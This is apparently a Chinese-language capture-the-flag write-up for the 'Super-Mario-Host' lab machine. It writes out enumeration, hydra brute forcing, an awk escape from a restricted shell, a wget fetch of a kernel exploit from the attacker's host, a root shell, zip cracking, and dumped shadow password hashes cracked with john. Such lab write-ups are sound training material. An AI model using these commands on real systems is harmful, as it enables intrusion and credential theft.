仅供个人娱乐

靶机百度云下载  链接:https://pan.baidu.com/s/13l1FUgJjXArfoTOfcmPsbA 提取码:a8ox

一、主机发现

arp-scan -l

Super-Mario-Host(超级玛丽)靶机

二、漏洞扫描

扫描端口

Super-Mario-Host(超级玛丽)靶机

扫描网站目录

御剑或者dirb http://192.168.85.144:8180 /usr/share/dirb/wordlists/big.txt

Super-Mario-Host(超级玛丽)靶机
Super-Mario-Host(超级玛丽)靶机

、漏洞发现与利用

发现http://192.168.85.144:8180/vhosts

Super-Mario-Host(超级玛丽)靶机

1.添加日志记录

 

Super-Mario-Host(超级玛丽)靶机

在本地hosts文件添加解析记录

 

Super-Mario-Host(超级玛丽)靶机
Super-Mario-Host(超级玛丽)靶机

4. 浏览器访问http://mario.supermariohost.local:8180/,别的什么都没有

Super-Mario-Host(超级玛丽)靶机

5. 扫描目录,扫描出来如下目录

Super-Mario-Host(超级玛丽)靶机

 

Super-Mario-Host(超级玛丽)靶机

Dirbuster

Super-Mario-Host(超级玛丽)靶机

5.发现http://mario.supermariohost.local:8180/luigi.php

Super-Mario-Host(超级玛丽)靶机

6. 发现http://mario.supermariohost.local:8180/command.php测试luigi,发现存在

Super-Mario-Host(超级玛丽)靶机

2.使用cewl爬取和john解密

使用cewl爬取站点下的可疑用户名作为用户名字典

john在该user的基础上生成相应社工密码进行爆破(不一定成功)

cewl http://mario.supermariohost.local:8180/ -w /root/user.txt

john --wordlist=user.txt  --rules > passwd.txt

Super-Mario-Host(超级玛丽)靶机
Super-Mario-Host(超级玛丽)靶机
Super-Mario-Host(超级玛丽)靶机

失败

使用hydra

Super-Mario-Host(超级玛丽)靶机
Super-Mario-Host(超级玛丽)靶机

登录成功,但是限制的shell交互

这个受限制的shell,想到之前的rbash提权操作,正好这里也能用vim命令,但并不能绕过成功  help查看靶机能够使用的命令

Super-Mario-Host(超级玛丽)靶机

发现能使用awk命令,查阅资料,发现 awk调用shell命令有两种方法:system与print

3.调用awk产生交互式shell

尝试切换到正常的bash:  awk 'BEGIN{system("/bin/bash")}’

Super-Mario-Host(超级玛丽)靶机

绕过成功后,查看靶机版本信息,好老的版本,目测应该有漏洞

上kali 中search一下

4.漏洞提权

Super-Mario-Host(超级玛丽)靶机

searchsploit 3.13.0

Super-Mario-Host(超级玛丽)靶机

直接kali开放apache,

Super-Mario-Host(超级玛丽)靶机
Super-Mario-Host(超级玛丽)靶机

靶机wget就ok

wget http://192.168.85.144/37292.c -o /tmp/37292.c

Super-Mario-Host(超级玛丽)靶机

将该.c文件进行gcc编译后执行

gcc 37292.c -o rootshell

Super-Mario-Host(超级玛丽)靶机

执行   ./rootshell

Super-Mario-Host(超级玛丽)靶机

成功拿到root权限

用python切一下shell

python -c 'import pty;pty.spawn("/bin/bash")'

cd /

cd root

ls

进入root目录,发现一个flag.zip的压缩文件

Super-Mario-Host(超级玛丽)靶机

也是经过加密的压缩

Super-Mario-Host(超级玛丽)靶机

直接wget到kali进行爆破吧

Super-Mario-Host(超级玛丽)靶机

wget http://192.168.85.144:8180/flag.zip

5.fcrackzip爆破压缩包密码

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u flag.zip

Super-Mario-Host(超级玛丽)靶机
Super-Mario-Host(超级玛丽)靶机

爆破成功,密码为:ilovepeach

Super-Mario-Host(超级玛丽)靶机

6.get flag

靶机作者的用意是要拿到靶机上所用用户的明文密码

在靶机中,查看etc下的shadow

Super-Mario-Host(超级玛丽)靶机

共有

root:$6$ZmdseK46$FTvRqEZXdr3DCX2Vd6CXWmWAOJYIjcAI6XQathO3/wgvHEoyeP6DwL3NHZy903HXQ/F2uXiTXrhETX19/txbA1:17248:0:99999:7:::

mario:$6$WG.vWiw8$OhoMhuAHSqPYTu1wCEWNc4xoUyX6U/TrLlK.xyhRKZB3SyCtxMDSoQ6vioNvpNOu78kQVTbwTcHPQMIDM2CSJ.:17248:0:99999:7:::

luigi:$6$kAYr2OVy$1qBRKJIWqkpNohmMIP3r3H3yPDQ9UfUBcO4pahlXf6QfnqgW/XpKYlQD4jN6Cfn.3wKCWoM7gPbdIbnShFJD40:17233:0:99999:7:::

直接拿去kali进行john解

7.John解密hash

john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt

实验失败举例

./unshadow /etc/passwd /etc/shadow > passwoed.txt #将shadow文件导入passwoed.txt,也可以直接复制shadow文件中所有字段或第2个字段

./john password.txt #对散列值进行破解

cat john.pot #查看破解结果

Super-Mario-Host(超级玛丽)靶机

相关文章:

  • 2021-12-28
  • 2021-07-13
  • 2021-07-25
  • 2021-12-28
  • 2021-04-02
猜你喜欢
  • 2021-05-25
  • 2021-08-03
  • 2021-05-11
  • 2021-12-25
  • 2022-01-13
  • 2021-10-09
相关资源
相似解决方案